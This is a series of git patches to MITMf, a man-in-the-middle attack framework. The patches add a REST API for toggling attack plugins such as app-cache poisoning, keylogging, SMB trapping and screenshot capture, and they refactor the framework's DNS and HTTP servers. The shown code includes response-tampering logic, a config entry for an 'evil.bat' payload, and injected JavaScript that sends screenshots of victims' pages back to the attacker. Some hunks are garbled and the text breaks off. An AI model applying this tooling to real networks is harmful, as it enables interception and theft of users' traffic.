From f46c0e939e439a5443bc803f569e1627a8e16f35 Mon Sep 17 00:00:00 2001 From: xtr4nge Date: Thu, 18 Jun 2015 23:44:02 +0100 Subject: [PATCH 1/7] Plugins can be enabled|disabled using RESTful API --- README.md | 2 +- mitmf.py | 90 +++++++++++++++++++++- plugins/AppCachePoison.py | 150 ++++++++++++++++++++---------------- plugins/BrowserProfiler.py | 44 +++++++---- plugins/CacheKill.py | 30 ++++++-- plugins/JsKeylogger.py | 1 + plugins/Replace.py | 50 +++++++----- plugins/SMBTrap.py | 24 +++++- plugins/Screenshotter.py | 41 +++++++--- plugins/Upsidedownternet.py | 68 ++++++++++------ 10 files changed, 353 insertions(+), 147 deletions(-) diff --git a/README.md b/README.md index 91b2cae..3a5fad3 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ MITMf V0.9.7 Framework for Man-In-The-Middle attacks -Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. diff --git a/mitmf.py b/mitmf.py index 3ba5218..4f0e37f 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,6 +18,12 @@ # USA # +""" + +[enabled | disabled] by @xtr4nge + +""" + import argparse import sys import os @@ -31,6 +37,15 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown from plugins import * +# @xtr4nge +import multiprocessing, time, signal +from flask import Flask +from configobj import ConfigObj +import json + +# @xtr4nge +pluginStatus = ConfigObj("config/plugins.conf") + Banners().printBanner() if os.geteuid() != 0: @@ -128,6 +143,10 @@ for p in plugins: #load only the plugins that have been called at the command line if vars(args)[p.optname] is True: + # @xtr4nge + pluginStatus['plugins'][p.optname]['status'] = "enabled" + pluginStatus.write() + print "|_ {} v{}".format(p.name, p.version) if p.tree_info: for line in xrange(0, len(p.tree_info)): @@ -187,8 +206,77 @@ from core.servers.smb.SMBserver import SMBserver print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +''' #start the reactor reactor.run() print "\n" -shutdown() \ No newline at end of file +shutdown() +''' + +# ------------------------------------ +# @xtr4nge [enabled | disabled] +# ------------------------------------ +app = Flask(__name__) + +@app.route("/getPlugins") +def getPlugins(): + # Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf) + # example: http://127.0.0.1:9090/getPlugins + pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"} + + data = {} + for item in pluginList: + data[item] = [pluginStatus['plugins'][item]['status']] + + return json.dumps(data) + +@app.route("/getPluginStatus/") +def getPluginStatus(plugin): + # example: http://127.0.0.1:9090/getPluginStatus/cachekill + return pluginStatus['plugins'][plugin]['status'] + +@app.route("/setPluginStatus//") +def setPluginStatus(plugin, status): + # example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled + # example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled + if status == "1": + pluginStatus['plugins'][plugin]['status'] = "enabled" + pluginStatus.write() + elif status == "0": + pluginStatus['plugins'][plugin]['status'] = "disabled" + pluginStatus.write() + + return getPluginStatus(plugin) + +# @xtr4nge +def startFlask(): + app.run(host='127.0.0.1', port=9090) + +# @xtr4nge +def startCore(): + #start the reactor + reactor.run() + +# @xtr4nge +try: + pool = {} + pool[0] = multiprocessing.Process(name="core", target=startCore) + pool[1] = multiprocessing.Process(name="api", target=startFlask) + pool[0].start() + pool[1].start() + + while True: + pass + +except KeyboardInterrupt: + shutdown() + pool[0].terminate() + pool[1].terminate() +except Exception as e: + print e + shutdown() + pool[0].terminate() + pool[1].terminate() +finally: + print "bye ;)" \ No newline at end of file diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 296522f..e66234b 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -18,6 +18,12 @@ # USA # +""" + +[enabled | disabled] by @xtr4nge + +""" + import logging import re import os.path @@ -28,6 +34,8 @@ from datetime import date from plugins.plugin import Plugin from core.sslstrip.URLMonitor import URLMonitor +from configobj import ConfigObj + mitmf_logger = logging.getLogger("mitmf") class AppCachePlugin(Plugin): @@ -37,6 +45,14 @@ class AppCachePlugin(Plugin): version = "0.3" has_opts = False + # @xtr4nge + def getStatus(self): + self.pluginStatus = ConfigObj("config/plugins.conf") + if self.pluginStatus['plugins'][self.optname]['status'] == "enabled": + return True + else: + return False + def initialize(self, options): self.options = options self.mass_poisoned_browsers = [] @@ -45,73 +61,73 @@ class AppCachePlugin(Plugin): self.urlMonitor.setAppCachePoisoning() def serverResponse(self, response, request, data): - - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request - url = request.client.uri - req_headers = request.client.getAllHeaders() - headers = request.client.responseHeaders - ip = request.client.getClientIP() - - ######################################################################### - - if "enable_only_in_useragents" in self.app_config: - regexp = self.app_config["enable_only_in_useragents"] - if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) - return {'response': response, 'request': request, 'data': data} - - urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) - (name,s,element,url) = self.getSectionForUrls(urls) - - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} - - mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) - p = self.getTemplatePrefix(s) - - if element == 'tamper': - mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() - - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + + # add manifest reference + data = re.sub(re.compile(" Date: Thu, 18 Jun 2015 23:49:40 +0100 Subject: [PATCH 2/7] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index d493548..1ddc522 100644 --- a/requirements.txt +++ b/requirements.txt @@ -15,3 +15,4 @@ pyopenssl service_identity capstone pypcap +flask From 2cbbf20903e8141578a8b8a452d28456e2c55ba2 Mon Sep 17 00:00:00 2001 From: xtr4nge Date: Fri, 19 Jun 2015 11:31:26 +0100 Subject: [PATCH 3/7] Plugins can be enabled|disabled using RESTful API --- config/plugins.conf | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 config/plugins.conf diff --git a/config/plugins.conf b/config/plugins.conf new file mode 100644 index 0000000..92c6801 --- /dev/null +++ b/config/plugins.conf @@ -0,0 +1,29 @@ +[plugins] + + [[cachekill]] + + status = disabled + + [[screen]] + + status = disabled + + [[browserprofiler]] + + status = disabled + + [[appoison]] + + status = disabled + + [[replace]] + + status = disabled + + [[smbtrap]] + + status = disabled + + [[upsidedownternet]] + + status = disabled From c5ad00822b4b0f20241f14cb2b8d94023900ddd7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 19 Jun 2015 17:39:49 +0200 Subject: [PATCH 4/7] initial implementation of mitmfapi, thanks @xtr4nge :D --- core/configwatcher.py | 10 +-- core/mitmfapi.py | 99 +++++++++++++++++++++ core/sergioproxy/ProxyPlugins.py | 23 ++--- core/servers/dns/DNSchef.py | 24 ++--- core/sslstrip/ServerConnection.py | 9 +- mitmf.py | 96 ++------------------ plugins/AppCachePoison.py | 143 ++++++++++++++---------------- plugins/BrowserProfiler.py | 36 +++----- plugins/CacheKill.py | 15 +--- plugins/Replace.py | 48 ++++------ plugins/SMBTrap.py | 13 +-- plugins/Screenshotter.py | 35 +++----- plugins/Upsidedownternet.py | 53 +++++------ 13 files changed, 267 insertions(+), 337 deletions(-) create mode 100644 core/mitmfapi.py diff --git a/core/configwatcher.py b/core/configwatcher.py index beb8061..7179bda 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -14,6 +14,11 @@ class ConfigWatcher(FileSystemEventHandler): _instance = None config = ConfigObj("./config/mitmf.conf") + def __init__(self): + observer = Observer() + observer.schedule(self, path='./config', recursive=False) + observer.start() + @staticmethod def getInstance(): if ConfigWatcher._instance is None: @@ -21,11 +26,6 @@ class ConfigWatcher(FileSystemEventHandler): return ConfigWatcher._instance - def startConfigWatch(self): - observer = Observer() - observer.schedule(self, path='./config', recursive=False) - observer.start() - def getConfig(self): return self.config diff --git a/core/mitmfapi.py b/core/mitmfapi.py new file mode 100644 index 0000000..1bd6385 --- /dev/null +++ b/core/mitmfapi.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" + + Coded by @xtr4nge + +""" + +#import multiprocessing +import threading +import logging +import json +import sys + +from flask import Flask +from core.sergioproxy.ProxyPlugins import ProxyPlugins + +app = Flask(__name__) + +log = logging.getLogger('werkzeug') +log.setLevel(logging.DEBUG) + +class mitmfapi: + + @app.route("/") + def getPlugins(): + # example: http://127.0.0.1:9090/getPlugins + pdict = {} + + #print ProxyPlugins.getInstance().plist + for activated_plugin in ProxyPlugins.getInstance().plist: + pdict[activated_plugin.name] = True + + #print ProxyPlugins.getInstance().plist_all + for plugin in ProxyPlugins.getInstance().plist_all: + if plugin.name not in pdict: + pdict[plugin.name] = False + + #print ProxyPlugins.getInstance().pmthds + + return json.dumps(pdict) + + @app.route("/") + def getPluginStatus(plugin): + # example: http://127.0.0.1:9090/getPluginStatus/cachekill + for p in ProxyPlugins.getInstance().plist: + if plugin == p.name: + return json.dumps("1") + + return json.dumps("0") + + @app.route("//") + def setPluginStatus(plugin, status): + # example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled + # example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled + if status == "1": + for p in ProxyPlugins.getInstance().plist_all: + if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): + ProxyPlugins.getInstance().addPlugin(p) + return json.dumps({"plugin": plugin, "response": "success"}) + + elif status == "0": + for p in ProxyPlugins.getInstance().plist: + if p.name == plugin: + ProxyPlugins.getInstance().removePlugin(p) + return json.dumps({"plugin": plugin, "response": "success"}) + + return json.dumps({"plugin": plugin, "response": "failed"}) + + def startFlask(self, host='127.0.0.1', port=9090): + app.run(host=host, port=port) + + #def start(self): + # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) + # api_thread.daemon = True + # api_thread.start() + + def start(self): + api_thread = threading.Thread(name='mitmfapi', target=self.startFlask) + api_thread.setDaemon(True) + api_thread.start() \ No newline at end of file diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 4a8a509..bbd4d9f 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -42,32 +42,25 @@ class ProxyPlugins: in handleResponse, but is still annoying. ''' _instance = None - - plist = [] mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} - pmthds = {} + def __init__(self): + self.pmthds = {} + self.plist = [] + self.plist_all = [] @staticmethod def getInstance(): - if ProxyPlugins._instance == None: + if ProxyPlugins._instance is None: ProxyPlugins._instance = ProxyPlugins() return ProxyPlugins._instance - def setPlugins(self, plugins): - '''Set the plugins in use''' - - for p in plugins: - self.addPlugin(p) - - mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) - - def addPlugin(self,p): + def addPlugin(self, p): '''Load a plugin''' self.plist.append(p) mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) @@ -77,12 +70,12 @@ class ProxyPlugins: except KeyError: self.pmthds[mthd] = [getattr(p,pmthd)] - def removePlugin(self,p): + def removePlugin(self, p): '''Unload a plugin''' self.plist.remove(p) mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): - self.pmthds[mthd].remove(p) + self.pmthds[mthd].remove(getattr(p, pmthd)) def hook(self): '''Magic to hook various function calls in sslstrip''' diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index 9cf829d..e65ad33 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -419,14 +419,19 @@ class DNSChef(ConfigWatcher): _instance = None version = "0.4" - tcp = False - ipv6 = False - hsts = False - real_records = dict() - nametodns = dict() - server_address = "0.0.0.0" - nameservers = ["8.8.8.8"] - port = 53 + def __init__(self): + ConfigWatcher.__init__(self) + + self.tcp = False + self.ipv6 = False + self.hsts = False + self.real_records = dict() + self.nametodns = dict() + self.server_address = "0.0.0.0" + self.nameservers = ["8.8.8.8"] + self.port = 53 + + self.onConfigChange() @staticmethod def getInstance(): @@ -472,9 +477,6 @@ class DNSChef(ConfigWatcher): self.hsts = True def start(self): - self.onConfigChange() - self.startConfigWatch() - try: if self.config['MITMf']['DNS']['tcp'].lower() == 'on': self.startTCP() diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index d88023d..6c167a7 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -60,7 +60,6 @@ class ServerConnection(HTTPClient): self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().hsts self.app = URLMonitor.getInstance().app - self.plugins = ProxyPlugins.getInstance() self.isImageRequest = False self.isCompressed = False self.contentLength = None @@ -108,7 +107,7 @@ class ServerConnection(HTTPClient): def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") - self.plugins.hook() + ProxyPlugins.getInstance().hook() self.sendRequest() self.sendHeaders() @@ -117,7 +116,7 @@ class ServerConnection(HTTPClient): def handleStatus(self, version, code, message): - values = self.plugins.hook() + values = ProxyPlugins.getInstance().hook() version = values['version'] code = values['code'] @@ -164,7 +163,7 @@ class ServerConnection(HTTPClient): if self.length == 0: self.shutdown() - self.plugins.hook() + ProxyPlugins.getInstance().hook() if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): @@ -191,7 +190,7 @@ class ServerConnection(HTTPClient): data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) - data = self.plugins.hook()['data'] + data = ProxyPlugins.getInstance().hook()['data'] mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) diff --git a/mitmf.py b/mitmf.py index 4f0e37f..9ee2ef4 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,12 +18,6 @@ # USA # -""" - -[enabled | disabled] by @xtr4nge - -""" - import argparse import sys import os @@ -35,17 +29,9 @@ from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown +from core.mitmfapi import mitmfapi from plugins import * -# @xtr4nge -import multiprocessing, time, signal -from flask import Flask -from configobj import ConfigObj -import json - -# @xtr4nge -pluginStatus = ConfigObj("config/plugins.conf") - Banners().printBanner() if os.geteuid() != 0: @@ -81,6 +67,8 @@ plugins = [] try: for p in plugin_classes: plugins.append(p()) + + ProxyPlugins.getInstance().plist_all = plugins except Exception as e: print "[-] Failed to load plugin class {}: {}".format(p, e) @@ -143,10 +131,6 @@ for p in plugins: #load only the plugins that have been called at the command line if vars(args)[p.optname] is True: - # @xtr4nge - pluginStatus['plugins'][p.optname]['status'] = "enabled" - pluginStatus.write() - print "|_ {} v{}".format(p.name, p.version) if p.tree_info: for line in xrange(0, len(p.tree_info)): @@ -175,13 +159,14 @@ reactor.listenTCP(args.listen, strippingFactory) for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it - p.startConfigWatch() if hasattr(p, 'startThread'): t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) t.setDaemon(True) t.start() +mitmfapi().start() + print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) @@ -206,77 +191,8 @@ from core.servers.smb.SMBserver import SMBserver print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() -''' #start the reactor reactor.run() print "\n" -shutdown() -''' - -# ------------------------------------ -# @xtr4nge [enabled | disabled] -# ------------------------------------ -app = Flask(__name__) - -@app.route("/getPlugins") -def getPlugins(): - # Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf) - # example: http://127.0.0.1:9090/getPlugins - pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"} - - data = {} - for item in pluginList: - data[item] = [pluginStatus['plugins'][item]['status']] - - return json.dumps(data) - -@app.route("/getPluginStatus/") -def getPluginStatus(plugin): - # example: http://127.0.0.1:9090/getPluginStatus/cachekill - return pluginStatus['plugins'][plugin]['status'] - -@app.route("/setPluginStatus//") -def setPluginStatus(plugin, status): - # example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled - # example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled - if status == "1": - pluginStatus['plugins'][plugin]['status'] = "enabled" - pluginStatus.write() - elif status == "0": - pluginStatus['plugins'][plugin]['status'] = "disabled" - pluginStatus.write() - - return getPluginStatus(plugin) - -# @xtr4nge -def startFlask(): - app.run(host='127.0.0.1', port=9090) - -# @xtr4nge -def startCore(): - #start the reactor - reactor.run() - -# @xtr4nge -try: - pool = {} - pool[0] = multiprocessing.Process(name="core", target=startCore) - pool[1] = multiprocessing.Process(name="api", target=startFlask) - pool[0].start() - pool[1].start() - - while True: - pass - -except KeyboardInterrupt: - shutdown() - pool[0].terminate() - pool[1].terminate() -except Exception as e: - print e - shutdown() - pool[0].terminate() - pool[1].terminate() -finally: - print "bye ;)" \ No newline at end of file +shutdown() \ No newline at end of file diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index e66234b..ccb6aee 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -34,8 +34,6 @@ from datetime import date from plugins.plugin import Plugin from core.sslstrip.URLMonitor import URLMonitor -from configobj import ConfigObj - mitmf_logger = logging.getLogger("mitmf") class AppCachePlugin(Plugin): @@ -45,14 +43,6 @@ class AppCachePlugin(Plugin): version = "0.3" has_opts = False - # @xtr4nge - def getStatus(self): - self.pluginStatus = ConfigObj("config/plugins.conf") - if self.pluginStatus['plugins'][self.optname]['status'] == "enabled": - return True - else: - return False - def initialize(self, options): self.options = options self.mass_poisoned_browsers = [] @@ -61,73 +51,72 @@ class AppCachePlugin(Plugin): self.urlMonitor.setAppCachePoisoning() def serverResponse(self, response, request, data): - if self.getStatus(): - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request - url = request.client.uri - req_headers = request.client.getAllHeaders() - headers = request.client.responseHeaders - ip = request.client.getClientIP() - - ######################################################################### - - if "enable_only_in_useragents" in self.app_config: - regexp = self.app_config["enable_only_in_useragents"] - if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) - return {'response': response, 'request': request, 'data': data} - - urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) - (name,s,element,url) = self.getSectionForUrls(urls) - - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} - - mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) - p = self.getTemplatePrefix(s) - - if element == 'tamper': - mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() - - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + + # add manifest reference + data = re.sub(re.compile(" Date: Sat, 20 Jun 2015 15:01:07 +0200 Subject: [PATCH 5/7] second implementation of the HTTP server using Flask, screenshot js code now capture's screeshots of only the visible part of the webpage, modified the responder --wpad option to use the built in HTTP server --- config/mitmf.conf | 17 ++++--- core/configwatcher.py | 10 ++-- core/javascript/screenshot.js | 6 ++- core/mitmfapi.py | 30 ++++++++---- core/servers/dns/DNSchef.py | 7 ++- core/servers/http/HTTPServer.py | 82 --------------------------------- core/servers/http/HTTPserver.py | 47 +++++++++++++++++++ core/servers/smb/SMBserver.py | 6 +-- mitmf.py | 15 +++--- plugins/Responder.py | 21 +++++++-- plugins/SMBAuth.py | 2 +- plugins/plugin.py | 2 +- 12 files changed, 123 insertions(+), 122 deletions(-) delete mode 100644 core/servers/http/HTTPServer.py create mode 100644 core/servers/http/HTTPserver.py diff --git a/config/mitmf.conf b/config/mitmf.conf index a88004b..dd15322 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -6,6 +6,7 @@ # Required BeEF and Metasploit options [[BeEF]] + beefip = 127.0.0.1 beefport = 3000 user = beef @@ -18,6 +19,11 @@ rpcport = 55552 rpcpass = abc123 + [[MITMf-API]] + + host = '127.0.0.1' + port = '9090' + [[SMB]] # @@ -57,16 +63,15 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - #This is still experimental, don't uncomment pls! - #[[HTTP]] + [[HTTP]] # # Here you can configure MITMf's internal HTTP server # - #port = 80 + port = 80 - #[[[Paths]]] + [[[Paths]]] # # Here you can define the content to deliver @@ -74,8 +79,8 @@ # Format is urlpath = filesystem path (urlpath can be a regular expression) - # ".*" = "/var/www" - # "/test" = "/var/www2" + ".*" = "/var/www" + "/test" = "/var/www2" [[DNS]] diff --git a/core/configwatcher.py b/core/configwatcher.py index 7179bda..1023a7a 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -14,11 +14,6 @@ class ConfigWatcher(FileSystemEventHandler): _instance = None config = ConfigObj("./config/mitmf.conf") - def __init__(self): - observer = Observer() - observer.schedule(self, path='./config', recursive=False) - observer.start() - @staticmethod def getInstance(): if ConfigWatcher._instance is None: @@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler): self.reloadConfig() self.onConfigChange() + def startConfigWatch(self): + observer = Observer() + observer.schedule(self, path='./config', recursive=False) + observer.start() + def onConfigChange(self): """ We can subclass this function to do stuff after the config file has been modified""" pass diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fe50ad7..55219d6 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -2871,8 +2871,10 @@ function grab() { xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); var x=encodeURIComponent(dat); xmlhttp.send(x); - } - }); + }, + width: screen.width, + height: screen.height + }); } setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/mitmfapi.py b/core/mitmfapi.py index 1bd6385..b6c7ff8 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -1,6 +1,6 @@ #!/usr/bin/env python2.7 -# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -31,18 +31,30 @@ import json import sys from flask import Flask +from core.configwatcher import ConfigWatcher from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -log = logging.getLogger('werkzeug') -log.setLevel(logging.DEBUG) +#log = logging.getLogger('werkzeug') +#log.setLevel(logging.DEBUG) class mitmfapi: + _instance = None + host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host'] + port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port']) + + @staticmethod + def getInstance(): + if mitmfapi._instance is None: + mitmfapi._instance = mitmfapi() + + return mitmfapi._instance + @app.route("/") def getPlugins(): - # example: http://127.0.0.1:9090/getPlugins + # example: http://127.0.0.1:9090/ pdict = {} #print ProxyPlugins.getInstance().plist @@ -60,7 +72,7 @@ class mitmfapi: @app.route("/") def getPluginStatus(plugin): - # example: http://127.0.0.1:9090/getPluginStatus/cachekill + # example: http://127.0.0.1:9090/cachekill for p in ProxyPlugins.getInstance().plist: if plugin == p.name: return json.dumps("1") @@ -69,8 +81,8 @@ class mitmfapi: @app.route("//") def setPluginStatus(plugin, status): - # example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled - # example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled + # example: http://127.0.0.1:9090/cachekill/1 # enabled + # example: http://127.0.0.1:9090/cachekill/0 # disabled if status == "1": for p in ProxyPlugins.getInstance().plist_all: if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): @@ -85,8 +97,8 @@ class mitmfapi: return json.dumps({"plugin": plugin, "response": "failed"}) - def startFlask(self, host='127.0.0.1', port=9090): - app.run(host=host, port=port) + def startFlask(self): + app.run(host=self.host, port=self.port) #def start(self): # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index e65ad33..0e8f79c 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -420,8 +420,6 @@ class DNSChef(ConfigWatcher): version = "0.4" def __init__(self): - ConfigWatcher.__init__(self) - self.tcp = False self.ipv6 = False self.hsts = False @@ -430,8 +428,6 @@ class DNSChef(ConfigWatcher): self.server_address = "0.0.0.0" self.nameservers = ["8.8.8.8"] self.port = 53 - - self.onConfigChange() @staticmethod def getInstance(): @@ -477,6 +473,9 @@ class DNSChef(ConfigWatcher): self.hsts = True def start(self): + self.onConfigChange() + self.startConfigWatch() + try: if self.config['MITMf']['DNS']['tcp'].lower() == 'on': self.startTCP() diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py deleted file mode 100644 index 054975e..0000000 --- a/core/servers/http/HTTPServer.py +++ /dev/null @@ -1,82 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import sys -import tornado.ioloop -import tornado.web -import threading - -from core.configwatcher import ConfigWatcher - -tornado_logger = logging.getLogger("tornado") -tornado_logger.propagate = False -formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -fileHandler = logging.FileHandler("./logs/mitmf.log") -streamHandler = logging.StreamHandler(sys.stdout) -fileHandler.setFormatter(formatter) -streamHandler.setFormatter(formatter) -tornado_logger.addHandler(fileHandler) -tornado_logger.addHandler(streamHandler) - -class HTTPServer(ConfigWatcher): - - _instance = None - application = tornado.web.Application([]) - http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"]) - - @staticmethod - def getInstance(): - if HTTPServer._instance == None: - HTTPServer._instance = HTTPServer() - - return HTTPServer._instance - - def addHandler(self, urlregex, handler, vhost=''): - self.application.add_handlers(vhost, [(urlregex, handler)]) - - def addStaticPathHandler(self, urlregex, path, vhost=''): - self.application.add_handlers(vhost, [(urlregex, {"static_path": path})]) - - def resetApplication(self): - self.application = tornado.web.Application([]) - - def parseConfig(self): - for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems(): - self.addStaticPathHandler(url, path) - - def onConfigChange(self): - self.resetApplication() - self.parseConfig() - - def start(self): - self.parseConfig() - self.application.listen(self.http_port) - - t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) - t.setDaemon(True) - t.start() - -class HTTPHandler(tornado.web.RequestHandler): - def get(self): - raise HTTPError(405) - - def post(self): - raise HTTPError(405) \ No newline at end of file diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py new file mode 100644 index 0000000..aa585f6 --- /dev/null +++ b/core/servers/http/HTTPserver.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello 